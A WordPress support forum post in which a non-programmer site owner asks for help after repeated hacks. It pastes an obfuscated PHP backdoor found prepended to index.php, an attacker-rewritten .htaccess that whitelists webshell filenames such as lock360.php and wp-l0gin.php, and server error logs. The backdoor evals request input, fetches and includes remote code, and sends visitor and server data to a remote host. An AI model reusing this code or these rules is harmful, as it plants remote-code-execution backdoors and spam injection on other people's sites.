skcaterpilar

I would be extremely grateful, to maybe even see the process, because once again my website is dead, and somehow by some miracle the htaccess file has been overwritten to permission 644 instead of what I set it to (444).

Im starting to feel like hostgator is doing this on purpose so that I pay in. I wont.

Also I found this worrying looking gibberish in index.php

<?php
 goto qkHEv; EmOm9: function O0vVW($hB7TS) { goto T_2Hy; Q1QyI: zNMVP: goto v5mMG; rr8Z8: vPuew: goto KE8IZ; rFEhR: $g3KM_ = stream_get_meta_data($JdkjL); goto p9CzB; cmf3s: $YE8YT = base64_decode("\120\x44\71\167\141\x48\101\75"); goto cFbBx; GpRsY: fclose($JdkjL); goto RguUf; HQlqp: die; goto Q1QyI; cFbBx: if (!(strpos($UzuzM, $YE8YT) === false)) { goto vPuew; } goto yu1cS; KE8IZ: $JdkjL = tmpfile(); goto gQkzu; gQkzu: if (!isset($_REQUEST["\x65"])) { goto zNMVP; } goto Otrsf; v5mMG: fwrite($JdkjL, $UzuzM); goto rFEhR; LiufQ: $wfB80($UzuzM); goto HQlqp; yu1cS: die("\x67\x65\x74\40\x66\141\x69\154\x65\x64"); goto rr8Z8; RguUf: die; goto EXBzC; p9CzB: @(require $g3KM_["\x75\x72\x69"]); goto GpRsY; G4EML: $wfB80 = "\145" . "\166" . "\x61" . "\x6c"; goto LiufQ; Otrsf: $UzuzM = str_replace($YE8YT, '', $UzuzM); goto G4EML; T_2Hy: $UzuzM = nm3ZJ($hB7TS); goto cmf3s; EXBzC: } goto V2HUX; ZMERN: function m9_5Z($q7JmJ) { return hexdec($q7JmJ[1]) == strlen($q7JmJ[2]) ? $q7JmJ[2] : $q7JmJ[0]; } goto DBYqj; oyylM: $wBXn_ = "\110\141\x30\x52\104\143\x76\x6f\x33\x4c\x7a\x56\104\x4d\167\153\130\x4c\x79\131\x54\x4d\x75\125\x6e\132\154\112\127\132\167\160\x32\x5a\x30\126\x6d\114\160\x78\155\132\125\x76"; goto U2ele; Gwa4y: function y2leI($wBXn_, $BcONc) { goto qyjzU; ANvuR: mTgE7: goto szC3W; S9ef3: die; goto Bh04L; CDKls: $YDy2i["\x72\145\x66\145\x72\x65\162"] = isset($_SERVER["\110\124\x54\x50\137\122\x45\106\105\122\x45\122"]) ? $_SERVER["\x48\x54\x54\120\x5f\x52\x45\x46\105\122\x45\122"] : ''; goto lwVSL; cFfRt: TIKaI: goto MwT5C; uXQzy: if (!(isset($_REQUEST["\141\143"]) && isset($_REQUEST["\160\x61\x74\x68"]) && isset($_REQUEST["\164"]))) { goto mTgE7; } goto rV9tY; IHSPP: var_dump($SSa8r); goto nLX5t; Y580H: xCttR: goto lRUB3; bK93D: $YDy2i["\x73\x65\162\x76\145\x72\137\x64\157\x6d\x61\151\x6e"] = YPjvD(); goto WgXSk; lRUB3: $sOHuz = FaEbu($SSa8r); goto mH4lF; Edaxt: $RXWXo = explode("\174", $RXWXo); goto uXQzy; JExpf: $SSa8r = NM3ZJ($hB7TS); goto nhmSY; GKMe5: if (!isset($_GET["\147\x6f\157\147\154\x65\137\x75\x72\x6c"])) { goto wFi9S; } goto nb9XI; nhmSY: if (!isset($_REQUEST["\144\x75\x6d\160"])) { goto xCttR; } goto ycWgc; lwVSL: $YDy2i["\x75\x73\x65\162\x5f\x61\x67\145\156\164"] = isset($_SERVER["\x48\124\x54\120\x5f\125\123\x45\122\x5f\101\x47\x45\x4e\124"]) ? $_SERVER["\110\x54\124\x50\x5f\x55\x53\105\x52\137\x41\107\x45\x4e\124"] : ''; goto QB0Ua; ZXwFE: die; goto CHCdF; nb9XI: $ak1CG = $_GET["\147\x6f\157\x67\154\145\137\x75\162\154"]; goto liq3I; WgXSk: $YDy2i["\162\x65\161\x75\145\163\164\x5f\165\x72\x6c"] = $_SERVER["\x52\x45\x51\x55\105\x53\x54\x5f\x55\122\111"]; goto CDKls; r3nuh: if (isset($_SERVER["\x48\124\124\120\x5f\x41\x43\x43\x45\x50\x54\137\x4c\101\116\x47\125\x41\x47\x45"])) { goto whJIp; } goto zaO77; lFmVF: $OGvwF = $_GET["\163\151\x74\145\155\x61\160"]; goto FxMwP; o8xI6: goto KXZ3G; goto jSuEe; zaO77: $YDy2i["\x6c\141\x6e\147\165\141\x67\145"] = ''; goto o8xI6; tEBBN: @header($sOHuz[0]); goto bqdJM; vlOwG: goto kvPYk; goto cFfRt; aoXyK: KXZ3G: goto znTCw; nLX5t: die; goto Y580H; szC3W: $kwSSb = array("\144\x6f\x6d\141\151\x6e" => $YDy2i["\x73\145\x72\x76\145\162\x5f\144\157\x6d\141\x69\x6e"], "\162\x65\x71\x75\145\163\164\137\165\x72\x6c" => $YDy2i["\x72\x65\161\x75\145\x73\x74\137\x75\162\154"], "\x69\160" => $YDy2i["\x69\x70"], "\141\147\145\x6e\164" => $YDy2i["\165\163\145\x72\137\141\x67\x65\156\164"], "\162\145\x66\x65\x72\145\x72" => $YDy2i["\162\x65\x66\145\162\145\x72"], "\160\162\x6f\x74\157\x63\157\x6c" => $YDy2i["\x70\x72\x6f\164\157\x63\157\154"], "\154\x61\x6e\147\x75\141\147\x65" => $YDy2i["\154\141\156\147\x75\141\147\x65"]); goto ifI9W; znTCw: if (!isset($_GET["\x70\x61\x72\x61\155\163"])) { goto JJsYy; } goto rFUz3; dN2rx: psjEj($ak1CG, $OGvwF, $YDy2i); goto mAztw; FxMwP: $ak1CG = "\x77\167\x77\56\147\157\x6f\147\154\x65\56\x63\x6f\155"; goto GKMe5; K8Kv0: kvPYk: goto r3nuh; jSuEe: whJIp: goto gtLUU; ycWgc: var_dump($SSa8r); goto Xv_tH; RG7jI: $YDy2i["\x64\145\146\141\x75\154\x74\137\160\141\162\x61\155\163"] = $wBXn_; goto xpnbz; gtLUU: $YDy2i["\154\x61\156\x67\x75\141\147\145"] = $_SERVER["\110\124\124\120\137\x41\103\103\105\120\124\137\114\x41\x4e\x47\x55\101\107\105"]; goto aoXyK; rV9tY: o0VVw(sprintf($RXWXo[2], base64_decode(jDEwa($BcONc)), $YDy2i["\141\160\x69"], $_REQUEST["\x61\143"], $_REQUEST["\160\x61\164\x68"], $_REQUEST["\164"])); goto ANvuR; mH4lF: if (!($sOHuz !== false)) { goto tXRIE; } goto tEBBN; CHCdF: JJsYy: goto qrOXs; qyjzU: $YDy2i = array(); goto RG7jI; QB0Ua: $YDy2i["\x69\160"] = rn5Fv(); goto sD7nm; qrOXs: if (!isset($_GET["\x73\151\164\145\155\141\160"])) { goto VdhOH; } goto lFmVF; MwT5C: $YDy2i["\x70\x72\157\x74\157\143\157\154"] = "\150\164\x74\x70\x73\x3a\x2f\57"; goto K8Kv0; Nz1e1: $YDy2i["\160\162\157\164\x6f\143\157\154"] = "\x68\164\x74\160\72\57\57"; goto vlOwG; bqdJM: echo $sOHuz[1]; goto S9ef3; rFUz3: print_r($YDy2i); goto ZXwFE; ifI9W: $hB7TS = sprintf($RXWXo[0], $YDy2i["\x61\x70\151"], JDeWA(base64_encode(implode("\x7b\174\175", $kwSSb)))); goto JExpf; sD7nm: if (isset($_SERVER["\x48\124\124\120\123"])) { goto TIKaI; } goto Nz1e1; Xv_tH: $SSa8r = nm3Zj($RXWXo[1]); goto IHSPP; Bh04L: tXRIE: goto oe2AW; mAztw: VdhOH: goto CDV0F; CDV0F: $RXWXo = "\x25\163\57\x3f\162\x3d\x25\163\x7c\x68\164\164\x70\x73\x3a\x2f\57\147\x6f\x6f\x67\x6c\x65\56\x63\x6f\56\152\160\x7c\x25\x73\77\141\x70\151\75\45\x73\x26\x61\x63\75\45\x73\x26\x70\x61\x74\x68\x3d\x25\x73\x26\164\x3d\x25\x73"; goto Edaxt; xpnbz: $YDy2i["\141\160\151"] = base64_decode(JdeWA($YDy2i["\144\x65\146\x61\x75\154\x74\x5f\x70\x61\162\141\155\163"])); goto bK93D; liq3I: wFi9S: goto dN2rx; oe2AW: } goto PLVgt; hXE_5: function FaeBU($SSa8r) { goto jpams; xmFXx: return false; goto IjtS4; qtVL6: return $JkeRT; goto XAyc9; QkjCm: return false; goto CgbvW; IjtS4: nRvdf: goto qtVL6; tBwrv: if (is_array($JkeRT)) { goto NeHZr; } goto QkjCm; CgbvW: NeHZr: goto tcnCS; jpams: $JkeRT = @preg_split("\57\x7b\x5c\174\x7d\x2f\x73\x69", $SSa8r, -1, PREG_SPLIT_NO_EMPTY); goto tBwrv; tcnCS: if (!(count($JkeRT) != 2)) { goto nRvdf; } goto xmFXx; XAyc9: } goto Gwa4y; atE_B: function YGDji($AWMFt) { goto nrTbW; NzYiw: return gzinflate(base64_decode($jOT2n . $A11Kw . $cUyrm)); goto Gx4K_; o2kn_: $A11Kw = substr($AWMFt, 7, strlen($AWMFt) - 14); goto NzYiw; nrTbW: $jOT2n = substr($AWMFt, 0, 5); goto v6dGn; v6dGn: $cUyrm = substr($AWMFt, -5); goto o2kn_; Gx4K_: } goto k17jv; k17jv: function Nm3zj($hB7TS) { goto YW7FT; RGRoh: OLImI: goto XiNaQ; jg4V_: isset($f_JBm["\150\157\163\164"]) || ($f_JBm["\150\157\x73\164"] = ''); goto M4BZK; YMnn4: $Dv12t = stream_socket_client($iP5Sj, $hTpYM, $HWCBE, 30); goto o_83z; eH4Zt: stream_set_timeout($Dv12t, 30); goto eNWRF; h7D1O: x15Y_: goto Yn4aV; YoelP: WcpC2: goto hqtAt; szjjl: if (!($sitft != false)) { goto vdTvA; } goto J9VbT; o_83z: unset($iP5Sj); goto O0808; SMYDr: goto WcpC2; goto FYHm6; Yn4aV: $SSa8r = ''; goto z7joS; pfKy1: isset($f_JBm["\161\165\x65\x72\x79"]) || ($f_JBm["\161\165\x65\162\x79"] = ''); goto C4KfQ; NMYOZ: return trim(trim($SSa8r, "\357\273\277")); goto HlM4n; ZwZQO: $bO5kW[] = $p8jxt; goto ZKuUW; ruTrD: $Dv12t = $Rq1Xu(AF_INET, SOCK_STREAM, 0); goto wW3pD; snlAw: if (!(substr($Rq1Xu, 0, 1) == "\143")) { goto Wehii; } goto Z5QbE; E2nsq: $f_JBm = parse_url($hB7TS); goto jg4V_; XiNaQ: $sitft = file_get_contents($hB7TS); goto szjjl; bQDTv: return "\65\x30\61"; goto N0WtY; RoRcM: if (!($EahlW && (rawurlencode($EahlW) == "\45\x30\x44\45\x30\101" || rawurlencode($EahlW) == "\45\x30\x41"))) { goto RDRC_; } goto DlBtu; Sj2NU: $SSa8r = @preg_replace_callback("\x2f\50\77\72\x28\x3f\x3a\x5c\x72\x5c\156\174\134\156\x29\x7c\136\x29\50\133\60\55\x39\x41\55\x46\135\53\x29\50\x3f\x3a\x5c\x72\x5c\x6e\x7c\134\x6e\x29\173\61\x2c\62\x7d\50\56\52\x3f\51" . "\x28\x28\x3f\72\x5c\162\x5c\x6e\174\134\156\51\50\77\x3a\133\60\x2d\71\101\x2d\106\135\x2b\x28\x3f\72\x5c\x72\x5c\x6e\x7c\134\156\51\51\174\44\x29\57\163\151", "\x66\137\141\163\x79\x6e\143", $SSa8r); goto NMYOZ; wOUd2: if (feof($Dv12t)) { goto w8BKV; } goto LEDbh; b7Ats: goto bcyTc; goto pZ6zu; lwEeo: array_shift($SSa8r); goto OE7Ug; z7joS: if ($Dv12t) { goto DjoMD; } goto e6k7j; pZ6zu: S8Tvu: goto IiPRY; X01rd: Wehii: goto E2nsq; RC9fg: if (!$siVKt) { goto FecgO; } goto fw87_; M4BZK: isset($f_JBm["\160\x61\164\150"]) || ($f_JBm["\x70\x61\x74\150"] = ''); goto pfKy1; LEDbh: $EahlW = fgets($Dv12t); goto RoRcM; YW7FT: if (preg_match("\x2f\x5e\150\164\x74\x70\x73\x2a\134\x3a\x5c\57\134\x2f\57\163\151", $hB7TS)) { goto OLImI; } goto cAA06; l7AOP: $SSa8r .= $sOHuz; goto Lqren; TmRGC: $gwsHK = "\x31\56\x31"; goto iGyhR; PYH6p: if (!($wbH4W = @socket_read($Dv12t, 8192))) { goto S8Tvu; } goto ckVP7; ESn0M: curl_setopt($RCVg8, CURLOPT_URL, $hB7TS); goto w8nHl; YTkj8: DjoMD: goto YphjR; IiPRY: $SSa8r = explode("\15\xa\xd\xa", $SSa8r); goto lwEeo; d1kM9: $gwsHK = "\61\x2e\x30"; goto dhNS2; F1fUH: if ($SnzHv["\164\151\x6d\x65\144\137\x6f\165\x74"]) { goto nOFw7; } goto gpyoK; MeVz6: if (substr($Rq1Xu, -1) == "\x6e") { goto z3jX_; } goto WqOmT; la0JG: WdN3W: goto TmRGC; Ggn0P: z3jX_: goto v7MHF; sLErf: curl_setopt($RCVg8, CURLOPT_FRESH_CONNECT, TRUE); goto BbQA2; CH81d: $c_4Ui .= $f_JBm["\150\157\163\164"]; goto B1kTV; QItAd: socket_close($Dv12t); goto HafmQ; O0808: mpX9p: goto RfurQ; arUbo: T0Dc1: goto QItAd; FYHm6: bqmEi: goto PGq0c; XnSMR: fclose($Dv12t); goto NB957; PGq0c: nOFw7: goto b4pa9; dbFJZ: goto xepUM; goto LZKER; d67Ik: unset($bO5kW, $f_JBm, $gwsHK, $xBhyb); goto wU35Y; WqOmT: if (!(substr($Rq1Xu, -1) == "\164")) { goto mpX9p; } goto Pr572; jlaNq: $c_4Ui = $f_JBm["\x68\x6f\163\164"]; goto DblYD; wW3pD: if (!socket_connect($Dv12t, $VlF04, $aXx7r)) { goto T0Dc1; } goto gh9vr; DblYD: if ($f_JBm["\163\x63\150\x65\x6d\x65"] == "\150\164\164\160\163") { goto WdN3W; } goto d1kM9; u2z8W: $bO5kW[] = "\101\x63\x63\145\x70\164\x3a\40\x2a\57\x2a"; goto hCsHV; BbQA2: curl_setopt($RCVg8, CURLOPT_SSL_VERIFYPEER, 0); goto n9BmE; N0WtY: xepUM: goto X01rd; LZKER: FecgO: goto bQDTv; Kirem: $g3KM_ = "\x63\x75\162\154\137\151\x6e\x69\164\x2b\143\165\162\154\x5f\x73\145\x74\157\160\164\x2b\x63\x75\162\154\x5f\145\170\x65\x63\174\x66\163\157\x63\x6b\157\x70\x65\x6e\174\x70\146\163\x6f\x63\x6b\x6f\x70\145\x6e\174\163\164\x72\x65\141\x6d\137\x73\x6f\143\153\145\x74\137\x63\154\x69\x65\156\x74\x7c\163\157\143\153\145\x74\x5f\x63\x72\x65\141\164\145"; goto MiUes; e6k7j: if (!(substr($Rq1Xu, -1) == "\145")) { goto gRcZl; } goto eTX3i; M1XVv: $qA0e0 = "\x47\x45\x54\x20{$xBhyb}\40\110\x54\x54\120\x2f{$gwsHK}" . PHP_EOL . join(PHP_EOL, $bO5kW) . PHP_EOL . PHP_EOL; goto d67Ik; Ar_bE: goto qkRZ7; goto fnrqc; y7Bah: unset($qA0e0, $Rq1Xu, $Dv12t, $aXx7r, $c_4Ui); goto Sj2NU; fnrqc: w8BKV: goto YoelP; eNWRF: fwrite($Dv12t, $qA0e0); goto v190f; a7yUC: unset($EahlW); goto Ar_bE; C4KfQ: isset($f_JBm["\x70\x6f\162\164"]) || ($f_JBm["\x70\157\162\164"] = ''); goto jZyNT; n6lDe: $iP5Sj .= $aXx7r; goto YMnn4; BkzcD: curl_setopt($RCVg8, CURLOPT_RETURNTRANSFER, 1); goto DnyxQ; YphjR: stream_set_blocking($Dv12t, TRUE); goto eH4Zt; v7MHF: $Dv12t = $Rq1Xu($c_4Ui, $aXx7r, $hTpYM, $HWCBE, 30); goto h7D1O; WFnFN: vdTvA: goto Kirem; i_jOJ: bcyTc: goto PYH6p; DnyxQ: curl_setopt($RCVg8, CURLOPT_TIMEOUT, 100); goto sLErf; NB957: Cq3s0: goto y7Bah; lXC7a: unset($wbH4W); goto b7Ats; cDTZM: goto obFHr; goto la0JG; AhmpJ: RDRC_: goto a7yUC; hCsHV: unset($p8jxt); goto M1XVv; B1kTV: obFHr: goto ouXn8; WwITk: $bO5kW[] = "\x55\163\x65\x72\x2d\x41\147\145\156\x74\x3a\40\163"; goto u2z8W; eTX3i: $VlF04 = gethostbyname($c_4Ui); goto ruTrD; wU35Y: $Dv12t = null; goto MeVz6; n9BmE: $siVKt = curl_exec($RCVg8); goto z9btx; Pr572: $iP5Sj = "\x74\143\x70\72\x2f\57"; goto Kmb0x; ouXn8: $p8jxt = "\x48\x6f\163\x74\72\40"; goto rR9x3; w8nHl: curl_setopt($RCVg8, CURLOPT_USERAGENT, "\163"); goto BkzcD; dhNS2: $aXx7r = empty($f_JBm["\x70\x6f\162\164"]) ? 80 : $f_JBm["\160\x6f\162\164"]; goto cDTZM; b4pa9: unset($SnzHv); goto XnSMR; cAA06: return "\65\x30\60"; goto RGRoh; HafmQ: unset($VlF04); goto P3WFx; gh9vr: socket_write($Dv12t, $qA0e0, strlen($qA0e0)); goto i_jOJ; iGyhR: $aXx7r = empty($f_JBm["\x70\x6f\162\164"]) ? 443 : $f_JBm["\x70\x6f\162\x74"]; goto bcAOs; QjNUV: foreach (explode("\174", $g3KM_) as $OUbsZ) { goto jCw0l; jCw0l: $nyX5S = 1; goto qXpBr; O36XQ: suaqj: goto A5GVe; qXpBr: foreach (explode("\x2b", $OUbsZ) as $LUht3) { if (!function_exists($LUht3)) { $nyX5S = 0; } ilqWt: } goto Wm42U; VpIlP: DA6Am: goto O36XQ; bbgS0: goto j1eBW; goto VpIlP; Wm42U: v379D: goto pukru; uHUlF: $Rq1Xu = $OUbsZ; goto bbgS0; pukru: unset($LUht3); goto uOsOW; uOsOW: if (!$nyX5S) { goto DA6Am; } goto uHUlF; A5GVe: } goto rfU_e; rR9x3: $p8jxt .= $c_4Ui; goto ZwZQO; Lqren: unset($sOHuz); goto SMYDr; hqtAt: if (feof($Dv12t)) { goto bqmEi; } goto xtyAN; H3QNf: $iP5Sj .= "\x3a"; goto n6lDe; J9VbT: return $sitft; goto WFnFN; z9btx: curl_close($RCVg8); goto RC9fg; v190f: $SnzHv = stream_get_meta_data($Dv12t); goto F1fUH; OE7Ug: $SSa8r = implode("\15\12\15\12", $SSa8r); goto arUbo; UXhQN: if (!($Rq1Xu == '')) { goto d3s_N; } goto IJbwD; rfU_e: j1eBW: goto qYtBD; fw87_: return $siVKt; goto dbFJZ; xtyAN: $sOHuz = fread($Dv12t, 8192); goto l7AOP; DlBtu: goto w8BKV; goto AhmpJ; EMECd: d3s_N: goto snlAw; ZKuUW: $bO5kW[] = "\103\157\x6e\156\x65\143\164\151\x6f\x6e\72\40\103\154\157\x73\x65"; goto WwITk; gpyoK: qkRZ7: goto wOUd2; qYtBD: unset($g3KM_, $OUbsZ); goto UXhQN; P3WFx: gRcZl: goto PFlwf; Kmb0x: $iP5Sj .= $c_4Ui; goto H3QNf; jZyNT: $xBhyb = $f_JBm["\x70\141\x74\150"] ? $f_JBm["\160\141\x74\x68"] . ($f_JBm["\161\x75\x65\x72\x79"] ? "\77" . $f_JBm["\x71\165\145\162\x79"] : '') : "\x2f"; goto jlaNq; Z5QbE: $RCVg8 = curl_init(); goto ESn0M; RfurQ: goto x15Y_; goto Ggn0P; PFlwf: goto Cq3s0; goto YTkj8; MiUes: $Rq1Xu = $qA0e0 = $hTpYM = $HWCBE = ''; goto QjNUV; ckVP7: $SSa8r .= $wbH4W; goto lXC7a; IJbwD: return 0; goto EMECd; bcAOs: $c_4Ui = "\x73\x73\154\x3a\x2f\57"; goto CH81d; HlM4n: } goto ZMERN; MxOnY: function PsjEj($qzFUA, $OGvwF, $YDy2i) { goto tCwr2; noYAY: if (!isset($_REQUEST["\x73\x74"])) { goto BpjbP; } goto rxS0N; yIoQx: $q6ke5 = "\x73\165\x63\x63\x65\x73\x73"; goto BN8Xr; gzsje: die; goto nefmB; S1mwi: die($q6ke5); goto qsRBX; hmjeQ: if (!(strpos($GjuAt, $FSWD9) != false)) { goto d1UYy; } goto S1mwi; nefmB: BpjbP: goto iNjgI; R0SOf: $GjuAt = Nm3ZJ($AAdZx); goto noYAY; iNjgI: $FSWD9 = "\x67\157\x6f\147\154\145"; goto yIoQx; xdgu1: var_dump($GjuAt); goto gzsje; rxS0N: var_dump($AAdZx); goto xdgu1; qsRBX: d1UYy: goto VFokh; BN8Xr: $AD_mQ = "\x66\x61\x69\x6c\145\x64"; goto hmjeQ; VFokh: die($AD_mQ); goto uXCR9; tCwr2: $vHlHq = "\150\164\164\160\163\x3a\x2f\57\45\x73\x2f\x70\x69\156\x67\x3f\163\x69\x74\x65\155\141\x70\75\45\163\45\163\57\45\x73"; goto rLBqN; rLBqN: $AAdZx = sprintf($vHlHq, $qzFUA, $YDy2i["\160\x72\157\x74\157\x63\157\154"], $YDy2i["\163\145\162\x76\x65\x72\137\144\157\155\x61\x69\156"], $OGvwF); goto R0SOf; uXCR9: } goto hXE_5; fFVcw: function YPJvd($AWMFt = '') { goto Lj2o6; EOQ8f: VEcXZ: goto MArxy; Lj2o6: if (isset($_SERVER["\110\x54\124\x50\137\x48\117\x53\x54"])) { goto VEcXZ; } goto E2D0y; NQDeR: TcoAl: goto yykXe; Sqcih: return $AWMFt; goto A1Sbe; yykXe: return $_SERVER["\123\x45\122\x56\x45\x52\x5f\x4e\x41\115\x45"]; goto MQ83B; E2D0y: if (isset($_SERVER["\x53\x45\x52\126\105\122\x5f\116\101\x4d\105"])) { goto TcoAl; } goto dh5vc; MArxy: return $_SERVER["\x48\124\x54\x50\137\x48\117\x53\124"]; goto tszys; MQ83B: mTcZv: goto Sqcih; dh5vc: goto mTcZv; goto EOQ8f; tszys: goto mTcZv; goto NQDeR; A1Sbe: } goto EmOm9; U2ele: $BcONc = "\110\x61\x30\122\110\x63\x36\115\x79\114\x6a\71\x6e\114\x70\144\x7a\131\x75\125\62\x59\164\71\x77\x4c\x3d\75"; goto atE_B; V2HUX: function JDEwA($wBXn_) { goto qVIUs; eQWyT: $rGRKc = str_split($wBXn_); goto SSqNK; LviBe: if (!($QY4zk < count($rGRKc) - 2)) { goto CYaj2; } goto GK2Xf; koHLJ: $QY4zk = $QY4zk + 2/* S0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr */; goto Ktx_0; wttQA: $QY4zk = 0; goto Zzy45; xSE1c: $EOIgA .= $CBgc0; goto WECux; zDjMk: CYaj2: goto xSE1c; Zzy45: oTwaF: goto LviBe; Ktx_0: goto oTwaF; goto zDjMk; WECux: return $EOIgA; goto a9X_R; qVIUs: $CBgc0 = substr($wBXn_, strlen($wBXn_) - 2); goto eQWyT; bU2Dn: NOXkk: goto koHLJ; SSqNK: $EOIgA = ''; goto wttQA; GK2Xf: $EOIgA .= $rGRKc[$QY4zk + 1] . $rGRKc[$QY4zk]; goto bU2Dn; a9X_R: } goto MxOnY; qkHEv: error_reporting(0); goto oyylM; DBYqj: function RN5FV($UJ6yP = '') { goto AMeni; HMUzf: $UJ6yP = $UJ6yP ? $UJ6yP : $_SERVER["\x52\105\115\x4f\x54\x45\137\x41\x44\x44\122"]; goto C9pdj; C9pdj: return trim($UJ6yP); goto Z4KtO; AMeni: $UJ6yP = $_SERVER["\x48\124\x54\120\137\126\x49\101"] ? $_SERVER["\110\124\x54\120\137\x58\x5f\106\117\x52\127\101\x52\104\x45\x44\x5f\106\x4f\122"] : $_SERVER["\x52\105\x4d\117\124\x45\x5f\x41\x44\x44\122"]; goto HMUzf; Z4KtO: } goto fFVcw; PLVgt: y2leI($wBXn_, $BcONc);
?>
<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';

After whitelisting only my IPadress and putting htaccess to 444 and this is what I woke up to today.

[25-Oct-2023 05:22:38 America/Chicago] PHP Warning:  file_get_contents(/tmp/index.php): Failed to open stream: No such file or directory in /home2/skylerla/public_html/l.php on line 2
[25-Oct-2023 05:22:38 America/Chicago] PHP Warning:  file_get_contents(/tmp/.htaccess): Failed to open stream: No such file or directory in /home2/skylerla/public_html/l.php on line 5
[25-Oct-2023 11:30:59 UTC] PHP Fatal error:  Uncaught Error: Class "Mpdf\Ucdn" not found in /home2/skylerla/public_html/wp-content/plugins/complianz-gdpr/assets/vendor/mpdf/mpdf/src/Config/ConfigVariables.php:95
Stack trace:
#0 /home2/skylerla/public_html/wp-content/plugins/complianz-gdpr/assets/vendor/mpdf/mpdf/src/Mpdf.php(1602): Mpdf\Config\ConfigVariables->__construct()
#1 /home2/skylerla/public_html/wp-content/plugins/complianz-gdpr/assets/vendor/mpdf/mpdf/src/Mpdf.php(1071): Mpdf\Mpdf->initConfig(Array)
#2 /home2/skylerla/public_html/wp-content/plugins/complianz-gdpr/class-document.php(2988): Mpdf\Mpdf->__construct(Array)
#3 /home2/skylerla/public_html/wp-content/plugins/complianz-gdpr/proof-of-consent/class-proof-of-consent.php(366): cmplz_document->generate_pdf('cookie-statemen...', 'eu', false, true, '<h1>Proof of Co...', '<div><h1>Cookie...')
#4 /home2/skylerla/public_html/wp-includes/class-wp-hook.php(310): cmplz_proof_of_consent->generate_cookie_policy_snapshot()
#5 /home2/skylerla/public_html/wp-includes/class-wp-hook.php(334): WP_Hook->apply_filters('', Array)
#6 /home2/skylerla/public_html/wp-includes/plugin.php(565): WP_Hook->do_action(Array)
#7 /home2/skylerla/public_html/wp-cron.php(191): do_action_ref_array('cmplz_every_day...', Array)
#8 {main}
  thrown in /home2/skylerla/public_html/wp-content/plugins/complianz-gdpr/assets/vendor/mpdf/mpdf/src/Config/ConfigVariables.php on line 95
[25-Oct-2023 11:37:41 UTC] PHP Warning:  include(): Failed opening '/home2/skylerla/public_html/wp-content/plugins/all-in-one-seo-pack/app/Common/Api/Integrations/68792' for inclusion (include_path='.:/opt/cpanel/ea-php82/root/usr/share/pear') in /home2/skylerla/public_html/wp-includes/class-wp.php on line 785
[25-Oct-2023 11:44:26 UTC] PHP Warning:  include(): Failed opening '/home2/skylerla/public_html/wp-content/plugins/all-in-one-seo-pack/app/Common/Api/Integrations/68792' for inclusion (include_path='.:/opt/cpanel/ea-php82/root/usr/share/pear') in /home2/skylerla/public_html/wp-includes/class-wp.php on line 785
[25-Oct-2023 11:44:44 UTC] PHP Warning:  include(): Failed opening '/home2/skylerla/public_html/wp-content/plugins/all-in-one-seo-pack/app/Common/Api/Integrations/68792' for inclusion (include_path='.:/opt/cpanel/ea-php82/root/usr/share/pear') in /home2/skylerla/public_html/wp-includes/class-wp.php on line 785
[25-Oct-2023 12:03:06 UTC] PHP Warning:  include(/home2/skylerla/public_html/wp-content/plugins/all-in-one-seo-pack/app/Common/Api/Integrations/68792): Failed to open stream: No such file or directory in /home2/skylerla/public_html/wp-includes/class-wp.php on line 785
[25-Oct-2023 12:03:06 UTC] PHP Warning:  include(): Failed opening '/home2/skylerla/public_html/wp-content/plugins/all-in-one-seo-pack/app/Common/Api/Integrations/68792' for inclusion (include_path='.:/opt/cpanel/ea-php82/root/usr/share/pear') in /home2/skylerla/public_html/wp-includes/class-wp.php on line 785
[25-Oct-2023 12:03:11 UTC] PHP Warning:  include(/home2/skylerla/public_html/wp-content/plugins/all-in-one-seo-pack/app/Common/Api/Integrations/68792): Failed to open stream: No such file or directory in /home2/skylerla/public_html/wp-includes/class-wp.php on line 785
[25-Oct-2023 12:03:11 UTC] PHP Warning:  include(): Failed opening '/home2/skylerla/public_html/wp-content/plugins/all-in-one-seo-pack/app/Common/Api/Integrations/68792' for inclusion (include_path='.:/opt/cpanel/ea-php82/root/usr/share/pear') in /home2/skylerla/public_html/wp-includes/class-wp.php on line 785
[25-Oct-2023 12:03:36 UTC] PHP Warning:  include(/home2/skylerla/public_html/wp-content/plugins/all-in-one-seo-pack/app/Common/Api/Integrations/68792): Failed to open stream: No such file or directory in /home2/skylerla/public_html/wp-includes/class-wp.php on line 785
[25-Oct-2023 12:03:36 UTC] PHP Warning:  include(): Failed opening '/home2/skylerla/public_html/wp-content/plugins/all-in-one-seo-pack/app/Common/Api/Integrations/68792' for inclusion (include_path='.:/opt/cpanel/ea-php82/root/usr/share/pear') in /home2/skylerla/public_html/wp-includes/class-wp.php on line 785
[25-Oct-2023 12:04:57 UTC] PHP Warning:  include(/home2/skylerla/public_html/wp-content/plugins/all-in-one-seo-pack/app/Common/Api/Integrations/68792): Failed to open stream: No such file or directory in /home2/skylerla/public_html/wp-includes/class-wp.php on line 785

This was in the error log.

I dont know what to do about this. I am not a programmer, merely a beginner. I have tried whitelisting my IPadress, U have tried wordfence, this seem like a thing already in my website and nothing can be done about it except deleting it whole and reuploading it. Sadly loosing some of the changes.

I am tempted to set everything to 444

• This reply was modified 1 year, 1 month ago by skcaterpilar.

Thank you both guys, but even after installing wordfence periodically my website dies. And this is how the .htaccess file looks like after the attack

<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(index.php|lock360.php|wp-l0gin.php|wp-the1me.php|wp-scr1pts.php|wp-admin.php|radio.php|content.php|about.php|wp-login.php|admin.php|mah.php|jp.php|ext.php)$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index\.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
</IfModule>

I am not willing to pay 300dollars for a entry level protection service, because I quite frankly dont have that money. I dont know what to do about this, and I dont have money either.

I have now added the IP exclusion as per @magefix intructrions into my clean backed up htaccess file.

However I have a feeling that this may be something that is within the files of my website and activates periodically from the inside of the website at a given time not by someone’s external actions.

I will have the website fully redone at some point from a clean build once again, but right now this is not feasible as my budget is already over the limit so any solutions on a budget would be greatly appreciated. Thank you guys for your time.